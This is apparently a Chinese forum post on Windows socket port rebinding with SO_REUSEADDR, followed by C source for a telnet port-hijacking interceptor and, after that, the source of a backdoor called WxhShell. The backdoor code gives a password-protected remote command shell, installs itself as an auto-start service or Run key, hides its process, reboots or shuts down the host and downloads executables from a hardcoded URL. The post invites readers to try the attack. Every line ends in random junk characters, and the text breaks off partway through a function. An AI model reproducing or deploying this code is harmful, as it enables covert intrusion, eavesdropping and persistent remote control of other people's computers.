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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #6+@M  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q0&H#xgt  
fSs4ZXC  
  saddr.sin_family = AF_INET; p$PKa.Y3  
X)7x<?DAy  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0l-Ef 1  
H;YP8MoQ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); i*#-I3  
~ xft  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >D(RYI  
+\F'iAs@  
  这意味着什么?意味着可以进行如下的攻击: xHz[t6;4;  
gqu?o&>9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 z@B=:tf  
wid;8%m  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %F-ZN^R  
!V i@1E  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 SjwyLc  
X@K-^8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  P!+'1KR  
_nbBIaHN{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `C$:Yf]%nG  
bO'Sgc[]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i`dC G[  
=8; {\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 aC%m-m  
uF1~FKB  
  #include Il= W,/y  
  #include 7z!tKs"TMT  
  #include wnM9('\  
  #include    dIRm q+d^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Qj.l:9%  
  int main() 4KH45|; 3  
  { 5[* qi?w=  
  WORD wVersionRequested; _Jme!Oaa  
  DWORD ret; v?& -xH-S  
  WSADATA wsaData; 763v  
  BOOL val; IHJ=i-  
  SOCKADDR_IN saddr; oAPb*;}  
  SOCKADDR_IN scaddr; H\qC["  
  int err; .pN`;*7`  
  SOCKET s; 0},PJ$8x  
  SOCKET sc; =gJb^ Gx(w  
  int caddsize; ,'p2v)p^4  
  HANDLE mt; $`z)~6'  
  DWORD tid;   (UU(:/  
  wVersionRequested = MAKEWORD( 2, 2 ); ]cGA~d  
  err = WSAStartup( wVersionRequested, &wsaData ); A7%:05  
  if ( err != 0 ) { t4-pM1]1_  
  printf("error!WSAStartup failed!\n"); XVv K2(  
  return -1; k;w- E  
  } G|( ]bvJ?  
  saddr.sin_family = AF_INET; j}~86JO+Cw  
   2Fq<*pxAY  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 BPdfYu ,il  
o[cV1G  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); LAd\Tvms  
  saddr.sin_port = htons(23); pBETA'fY  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JWMpPzs  
  { S%yd5<%_  
  printf("error!socket failed!\n"); a^=-Mp  
  return -1; 3WUTI(  
  } yjhf   
  val = TRUE; :&:JTa1cv  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $aN&nhoO<  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 21< j\ M  
  { U`Wauv&  
  printf("error!setsockopt failed!\n"); .8y3O]  
  return -1; F@<CsgKB-  
  } ad:&$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7D!u1?]d{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 KN7n@$8YM  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %oq[,h <X  
Er+nk`UR_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) j4;0|zx-i  
  { A9kzq_ 3  
  ret=GetLastError(); !-,t'GF(  
  printf("error!bind failed!\n"); Fv Jd8kV  
  return -1; EpFQ|.mQ  
  } z&{5;A}Q@  
  listen(s,2); rxy&spX  
  while(1) D?0zhU  
  { 7LU}Iiv  
  caddsize = sizeof(scaddr); p~9vP)74u  
  //接受连接请求 OnK~3j  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #3_*]8K.R  
  if(sc!=INVALID_SOCKET) G=A,9@+c  
  { T`Mf]s)*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -mRA#  
  if(mt==NULL) ,;(PwJe  
  { ui@2s;1t  
  printf("Thread Creat Failed!\n"); N9vP7  
  break; .]sf0S!  
  } \l.-eu'O  
  } vh*U]3@  
  CloseHandle(mt); |jVM&R2s  
  } 82]vkU  
  closesocket(s); Nqrmp" ]  
  WSACleanup(); 1f8GW  
  return 0; -tyK~aasQ  
  }   ^1L>l9F  
  DWORD WINAPI ClientThread(LPVOID lpParam) ])Qs{hs~s  
  { |"9 #bU  
  SOCKET ss = (SOCKET)lpParam; E[bd@[N 8  
  SOCKET sc; !ykx^z  
  unsigned char buf[4096]; XLH+C ]pfr  
  SOCKADDR_IN saddr; vsr[ur[eP  
  long num; tc!wLnhG  
  DWORD val; m/qbRk68s  
  DWORD ret; YJl("MZ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 61j I  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [fKUyIY_  
  saddr.sin_family = AF_INET; !V,{_(LT  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `zE}1M%y  
  saddr.sin_port = htons(23); %LZ({\5K#f  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a'jR#MQl?  
  { ?zsB6B?;  
  printf("error!socket failed!\n"); 8krpowVs~  
  return -1; HH@qz2w  
  } ^>N]H>0'S  
  val = 100; h?FmBK'BAd  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L[20m (6?  
  { qq1-DG  
  ret = GetLastError(); mBG=jI "xh  
  return -1; [_.5RPJP8  
  } mUz\ra;z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K a(J52  
  { #~.w&~ :  
  ret = GetLastError(); /M*a,o  
  return -1; zdEPDd B  
  } p$x{yz3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) " $ew~;z  
  { wlEo"BA  
  printf("error!socket connect failed!\n"); IW% |G  
  closesocket(sc); Q]w&N30  
  closesocket(ss); \0H's{uek  
  return -1; +ke1Cn'[  
  } *mMEl]+  
  while(1) W!"}E%zx   
  { MiRdX#+Y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,+ #6Y_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }A:<%N  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \C`~S7jC  
  num = recv(ss,buf,4096,0); nYt/U\n!  
  if(num>0) a /:@"&Y  
  send(sc,buf,num,0); -p E(_  
  else if(num==0) pOrWg@<\L  
  break; YNBHBK4;  
  num = recv(sc,buf,4096,0); ,s_T pq  
  if(num>0) EgDQ+( -  
  send(ss,buf,num,0); H=\!2XS  
  else if(num==0) WzI8_uM  
  break; W{rt8^1  
  } W5'3$,X9  
  closesocket(ss); .]9c/  
  closesocket(sc); T1r3=Y4  
  return 0 ; WMBm6?54  
  } cn- nj]  
( &frUQm  
VT.;:Q  
========================================================== xGG,2W+z  
I6s3+x;O  
下边附上一个代码,,WXhSHELL | /|  
`WOYoec   
========================================================== Y2[A2Uy$ef  
ZDC9oX @  
#include "stdafx.h" J-<^P5  
BkZV!Eg  
#include <stdio.h> ((^sDE6(  
#include <string.h> $\"9<o|h  
#include <windows.h> -dO'~all  
#include <winsock2.h> ]D!k&j~P  
#include <winsvc.h> "9bN+1[<  
#include <urlmon.h> 9P<[7u  
/^ " 83?_  
#pragma comment (lib, "Ws2_32.lib") toaYsiIkzW  
#pragma comment (lib, "urlmon.lib") ~6 I)|^Z  
Na\WZSu'"  
#define MAX_USER   100 // 最大客户端连接数 atW'  
#define BUF_SOCK   200 // sock buffer xwH?0/  
#define KEY_BUFF   255 // 输入 buffer $7'g Rb4  
i"j(b|?e  
#define REBOOT     0   // 重启 pW]4bx@E  
#define SHUTDOWN   1   // 关机 gXH[$guf  
;=< ^0hxer  
#define DEF_PORT   5000 // 监听端口 ~Gqno  
fof2 xcH!  
#define REG_LEN     16   // 注册表键长度 Ol')7d&  
#define SVC_LEN     80   // NT服务名长度 \@;\t7~  
'/I:^9  
// 从dll定义API n6(.{M;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tdF9NFMD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A~dQ\M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K A276#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /n4pXT  
o|j*t7  
// wxhshell配置信息 /S\cU`ZVe  
struct WSCFG { AC.A'|"]i  
  int ws_port;         // 监听端口 BvU"4d;x  
  char ws_passstr[REG_LEN]; // 口令 j2P n<0U  
  int ws_autoins;       // 安装标记, 1=yes 0=no -OYDe@Wb]  
  char ws_regname[REG_LEN]; // 注册表键名 nCKbgM'"  
  char ws_svcname[REG_LEN]; // 服务名 gs W0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >l+EJ3W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,b$2=JO'f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '&;69`FSe  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -[Qvg49jy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Xm4CKuU@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z1!6%W_.  
o y<J6  
}; SjEdyN#  
!4rPv\   
// default Wxhshell configuration RAjkH`  
struct WSCFG wscfg={DEF_PORT, EHlytG}@  
    "xuhuanlingzhe", a? R[J==  
    1, 0~& "  
    "Wxhshell", T|"7sPgGR  
    "Wxhshell", i%#$*  
            "WxhShell Service", =_[Z W  
    "Wrsky Windows CmdShell Service", n tP|\E  
    "Please Input Your Password: ", 1|?K\B  
  1, w^1Fi8+  
  "http://www.wrsky.com/wxhshell.exe", R1-k3;v^  
  "Wxhshell.exe" = zl= SLe  
    }; ?R5'#|EyX  
? &zQa xD  
// 消息定义模块 ?_`0G/xl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1 11D3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kHJ96G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M"_FrIO  
char *msg_ws_ext="\n\rExit."; jFerYv&K~  
char *msg_ws_end="\n\rQuit."; )nu~9km3  
char *msg_ws_boot="\n\rReboot..."; <TNk?df7  
char *msg_ws_poff="\n\rShutdown..."; ^\:2}4Uj_  
char *msg_ws_down="\n\rSave to "; (H?ZSeWx  
Z7jX9e"L  
char *msg_ws_err="\n\rErr!"; gNx+>h`AF  
char *msg_ws_ok="\n\rOK!"; uvA(Rn  
_B,_4}  
char ExeFile[MAX_PATH]; [^~7]2i  
int nUser = 0; eu'1H@vX(  
HANDLE handles[MAX_USER]; Bfd-:`Jk  
int OsIsNt; -iCcoA  
&D#+6M&LK{  
SERVICE_STATUS       serviceStatus; r?l;I3~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  <1&Ke  
)uP[!LV[e  
// 函数声明 =w<v3wWN4  
int Install(void); _N3}gFh>  
int Uninstall(void); %q_Miu@  
int DownloadFile(char *sURL, SOCKET wsh); 9YF$CXonE=  
int Boot(int flag); Icp0A\L@  
void HideProc(void); +ySY>`1k~  
int GetOsVer(void); e@F|NCQ.9  
int Wxhshell(SOCKET wsl); r-w2\2  
void TalkWithClient(void *cs); tLcEl'Eo  
int CmdShell(SOCKET sock); !5x Ly6=}  
int StartFromService(void); WP-jtZ?!"  
int StartWxhshell(LPSTR lpCmdLine); A6ewdT?>,  
,f: jioY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]#<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s>z2  k  
_ ^7|!(Sz  
// 数据结构和表定义 LEh)g[  
SERVICE_TABLE_ENTRY DispatchTable[] = v\ZBv zd  
{ p-GT`D  
{wscfg.ws_svcname, NTServiceMain}, fY2wDD  
{NULL, NULL} |ZU#IQVQfn  
}; #/j={*-  
Fu8 7fVi/\  
// 自我安装 }gsO&g"8  
int Install(void) C4$/?,K(  
{ ]2+g&ox4'  
  char svExeFile[MAX_PATH]; fo\\o4Qyh  
  HKEY key; r3I,11B  
  strcpy(svExeFile,ExeFile); \Kd7dK9&]  
~"ONAX  
// 如果是win9x系统,修改注册表设为自启动 ${U6=  
if(!OsIsNt) { oVZ4bRl   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u9![6$R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y~oT)wTU  
  RegCloseKey(key); Rq7p29w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -Gsl[Rc0H;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j"<Y!Y3  
  RegCloseKey(key); R9. HD?H@  
  return 0; ~4 FDKU C  
    } g=A$<k  
  } ~uPk  
} >zL |8f  
else { ~Sy-ga J  
Jm![W8L  
// 如果是NT以上系统,安装为系统服务 gw Qvao  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A|<;  
if (schSCManager!=0) Xyv8LB  
{ K="I<bK  
  SC_HANDLE schService = CreateService wsg//Ec]  
  ( I^fP k  
  schSCManager, -[.PH M6+?  
  wscfg.ws_svcname, ) Ypz!  
  wscfg.ws_svcdisp, ItK  
  SERVICE_ALL_ACCESS, s!h5hwBY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1<uwU(  
  SERVICE_AUTO_START, B- Y+F  
  SERVICE_ERROR_NORMAL, Mn"/#tXL-  
  svExeFile, R}J-nJlb  
  NULL, h3J*1  
  NULL, 5fHYc0  
  NULL, ;]h.m)~|  
  NULL, ,L-C(j  
  NULL 4]UT+'RubX  
  ); *5wv%-  
  if (schService!=0) v7@H\x*  
  { Qp&?L"U)2  
  CloseServiceHandle(schService);  nhfwOS  
  CloseServiceHandle(schSCManager); F7 uhuqA]N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8Nvr93T,  
  strcat(svExeFile,wscfg.ws_svcname); N^@ \tg=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Lr M}?9'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y}/jR6hK  
  RegCloseKey(key); q[boWW  
  return 0; +-HE '4mo  
    } Cnur"?w@o  
  } }Z6nN)[|0Y  
  CloseServiceHandle(schSCManager); , ;'SVe%  
} ct\<;I(H  
} fjkT5LNx k  
psD[j W  
return 1; R+^zy"~  
} @+0V& jc  
yGV{^?yoP  
// 自我卸载 X'2Gi  
int Uninstall(void) P`!Ak@N  
{ 9`&77+|;e  
  HKEY key; a-Fqp4  
--/-D5  
if(!OsIsNt) { &V;x 4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sUda   
  RegDeleteValue(key,wscfg.ws_regname); B_@7IbB  
  RegCloseKey(key); 6 ZHv,e`?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nE<J`Wo$f  
  RegDeleteValue(key,wscfg.ws_regname); RQ5P}A 3H  
  RegCloseKey(key); >'0lw+a  
  return 0; 0HPO" x3-O  
  } Q}z{AZ  
} 0(vdkC4\A  
} X0x_+b? _  
else { I:/4t^%  
-CElk[u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;7 "Y?*{  
if (schSCManager!=0) oF&IC j0  
{ VLd=" ~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %jgg59  
  if (schService!=0) 3AP YO  
  { 6+#,=!hF{  
  if(DeleteService(schService)!=0) { tAt;bYjb\  
  CloseServiceHandle(schService); Eb7}$Ji\  
  CloseServiceHandle(schSCManager); 67 O<*M  
  return 0; MZiF];OY  
  } |bvGYsn_#=  
  CloseServiceHandle(schService); J<-Fua^  
  } WV~SL/k|   
  CloseServiceHandle(schSCManager); ~6fRS2u  
} cB36p&%  
} .6I%64m  
Vdy\4 nu(  
return 1; |Qq+8IeYG  
} ]Qy,#p'~&H  
a5I%RY  
// 从指定url下载文件 kpY%&  
int DownloadFile(char *sURL, SOCKET wsh) DUPmq!A  
{ 7\ZL  
  HRESULT hr; .n=xbx:=  
char seps[]= "/"; ~{Ua92zV9  
char *token; (77Dif0)'  
char *file; " #J}A0  
char myURL[MAX_PATH]; ^1vq{/ X  
char myFILE[MAX_PATH]; Vg) ^|  
6<Be#Y]b  
strcpy(myURL,sURL); h?3f5G*&H  
  token=strtok(myURL,seps); t.u{.P\Md\  
  while(token!=NULL) T)O]:v  
  { 9Iy[E,j  
    file=token; X~#@rg!"  
  token=strtok(NULL,seps); `;T? 9n  
  } td`wNy\  
*ig5Q(b*N  
GetCurrentDirectory(MAX_PATH,myFILE); ur`V{9g  
strcat(myFILE, "\\"); 9cbB[c_.  
strcat(myFILE, file); hAYQ6g$A  
  send(wsh,myFILE,strlen(myFILE),0); &,Uc>L%m  
send(wsh,"...",3,0); RDJ82{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I BF.&[[S  
  if(hr==S_OK) $&NbLjeS  
return 0; >0ssza  
else =1_jaDp  
return 1; gFgcxe6  
H.f9d.<W%  
} g')?J<z   
8Y]u:v  
// 系统电源模块 mURX I'JkX  
int Boot(int flag) OHQ3+WJ  
{ ~'|&{-<  
  HANDLE hToken; bwT"$Ee  
  TOKEN_PRIVILEGES tkp; d!FONi  
jeyaT^F(   
  if(OsIsNt) { ) +*@AM E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8g&uE*7N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KS8\F0q  
    tkp.PrivilegeCount = 1; _GRv   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F 'fM?!(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r]xdhR5  
if(flag==REBOOT) { s' _$j$1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ab/v_ mA;  
  return 0; C}|O#"t^\  
} I(F1S,7  
else { ]eORw $f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s 0 =@ &/  
  return 0; Ynv 9v\n|  
} 1Q3%!~<\s  
  } Es_ SCWJ  
  else { p3i qW,[@  
if(flag==REBOOT) { ;o&_:]S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I]s:Ev[~  
  return 0; t,UW&iLK  
} cC*zj \O  
else { O7E;W| ]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %Td+J`|U+  
  return 0; oo"JMD)  
} us(sZG  
} u~j'NOv  
FC|y'j 0  
return 1; <PH3gyC  
} Yf%[6Y{  
2-/YYe;C  
// win9x进程隐藏模块 }d$vcEI$3  
void HideProc(void) (2&K (1.Y  
{ $=QNGC2+  
jCdZ}M($  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9QO!vx  
  if ( hKernel != NULL ) a?f5(qW3  
  { e /ppZ>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5k_Mj* {6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,5%aP%  
    FreeLibrary(hKernel); V1AEjh  
  } 4{1c7g  
GZ-n! ^  
return; aa'0EU:  
} :X]lXock0  
9.]Cy8  
// 获取操作系统版本 ZnxOa  
int GetOsVer(void) .'+|>6eU  
{ \3 O-} n1S  
  OSVERSIONINFO winfo; y^vfgP<@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Qt)7mf  
  GetVersionEx(&winfo); t~udfOvY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H znI R  
  return 1; qugPs(uQ  
  else -b Ipmp?  
  return 0; f^>lObvd  
} gw*yIZ@3)  
9 ^=t@  
// 客户端句柄模块 gGceK^#  
int Wxhshell(SOCKET wsl) (>kBmK1Aj  
{ d60Fi#3d  
  SOCKET wsh; a93d'ZE-X  
  struct sockaddr_in client; 0VWCm( f-  
  DWORD myID; P,+ 0   
^.B `Z{Jb  
  while(nUser<MAX_USER) ()rx>?x5  
{ r A&#>R`  
  int nSize=sizeof(client); n[S41809<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^y;OHo  
  if(wsh==INVALID_SOCKET) return 1; z;Gbqr?{{  
7m@^=w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z"PDOwj5  
if(handles[nUser]==0) |M0,%~Kt  
  closesocket(wsh); h)aWerzL  
else D[FfJcV'$  
  nUser++; A,A-5l<h]?  
  } e`gGzyM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /ltP@*bo  
ADJ5ZD<Q  
  return 0; 8Y;zs7Y  
} :9O0?6:B|  
 Cq~ah  
// 关闭 socket d5Eee^Qu/  
void CloseIt(SOCKET wsh) `)xU;-  
{ zMHf?HQ-Z  
closesocket(wsh); <aQ; "O~   
nUser--; _tR.RAaa"  
ExitThread(0); 1\7"I-  
} \!4ghev3  
?yd(er<_f  
// 客户端请求句柄 9_CA5?y$:  
void TalkWithClient(void *cs) VNh,pQ(  
{ [F9KC^%S  
N!4xP.Ps  
  SOCKET wsh=(SOCKET)cs; iTtAj~dfZ  
  char pwd[SVC_LEN]; Aj)< 8  
  char cmd[KEY_BUFF]; }Rf :DmPE  
char chr[1]; "Ee/q:`  
int i,j; c`N`x U+z  
]$`s}BN  
  while (nUser < MAX_USER) { {D_4~heF  
* y"GgI  
if(wscfg.ws_passstr) { ,:Ix s^-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cg%I)nz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  PtVNG  
  //ZeroMemory(pwd,KEY_BUFF); t+TbCe  
      i=0; &#EVE xL  
  while(i<SVC_LEN) { @8 yE(  
r~B Qy'  
  // 设置超时 a[{QlD^D  
  fd_set FdRead; 7>e~i,  
  struct timeval TimeOut; B}xo|:f!zj  
  FD_ZERO(&FdRead); qh'f,#dI}  
  FD_SET(wsh,&FdRead); K Lv  
  TimeOut.tv_sec=8; 3B_} :  
  TimeOut.tv_usec=0; 4 d1Y\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F|ML$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E0?\DvA  
eG)/&zQ8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ez<wEt S  
  pwd=chr[0]; o3[sF  
  if(chr[0]==0xd || chr[0]==0xa) { cX]{RVZo-/  
  pwd=0; Q)|LiCR,  
  break; GLcZ=6)"'  
  } '9F{.]  
  i++; PQI,vr'R  
    } +cOI`4`$  
eVK<%r=  
  // 如果是非法用户,关闭 socket Q24:G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); QvQf@o  
} u5)A+.v  
y:``|*+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g!|E!\p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !JQ~r@j  
;<GTtt# D  
while(1) { _"t.1+-K  
%TggNU,  
  ZeroMemory(cmd,KEY_BUFF); R*5;J`TW  
0tL/:zID  
      // 自动支持客户端 telnet标准   ?b''  
  j=0; 7VZ JGRnn  
  while(j<KEY_BUFF) { u0H`%m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gB{R6 \<O  
  cmd[j]=chr[0]; T_B.p*\BM  
  if(chr[0]==0xa || chr[0]==0xd) { tMk>Bx9[  
  cmd[j]=0; gkn/E}K#  
  break; Da[X HUk  
  } L$kAe1 V^m  
  j++; 6V?&hq&t  
    } |JQP7z6j]  
XGl13@=O  
  // 下载文件 8'\,&f`Y  
  if(strstr(cmd,"http://")) { x$b[m 20  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nR'EuI~(}  
  if(DownloadFile(cmd,wsh)) h sw My  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); FG36,6N%2j  
  else xla^A}{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9}Ave:X^  
  } {3uSg)  
  else { Wjk;"_"gd  
!P^$g R  
    switch(cmd[0]) { 1? hd  
  i|noYo_Ah\  
  // 帮助 -&$%m)wN  
  case '?': {  /lok3J:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Gqc6).tn  
    break; H+&w7ER  
  } 9i)mv/i  
  // 安装 <ORz`^27o  
  case 'i': { =F-^RnO%\  
    if(Install()) Ln%_8yth  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 10a*7 L  
    else @Lv_\^2/}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); } $c($  
    break; S_;:iC]B  
    } pXlBKJmW  
  // 卸载 ` i^1U O  
  case 'r': { rBPxGBd4  
    if(Uninstall()) ~:b~f]lO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C$;s+ALy[  
    else !VTS $nJ4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s;f u  
    break; >-+X;0&  
    } s1apHwJ -  
  // 显示 wxhshell 所在路径 !D5`8   
  case 'p': { Elk$9 < <  
    char svExeFile[MAX_PATH]; +!Ag n)  
    strcpy(svExeFile,"\n\r"); ?6]ZQ\,  
      strcat(svExeFile,ExeFile); |OT%,QT|  
        send(wsh,svExeFile,strlen(svExeFile),0); ;mxT >|z  
    break; `IQC\DSl/  
    } :Lzj'Ij  
  // 重启 SO<K#HfE$?  
  case 'b': { Lcb5 9Cs6e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L6 # d  
    if(Boot(REBOOT)) UVU*5U~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mpAh'f4$*  
    else { e|9Bzli{  
    closesocket(wsh); DNO%J^  
    ExitThread(0); ebVfny$D  
    } mW9b~G3k  
    break; XArLL5_L  
    } \Rt  
  // 关机 41D[[Gh  
  case 'd': { nu -wQr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HJrg  
    if(Boot(SHUTDOWN)) Om{ML,d  
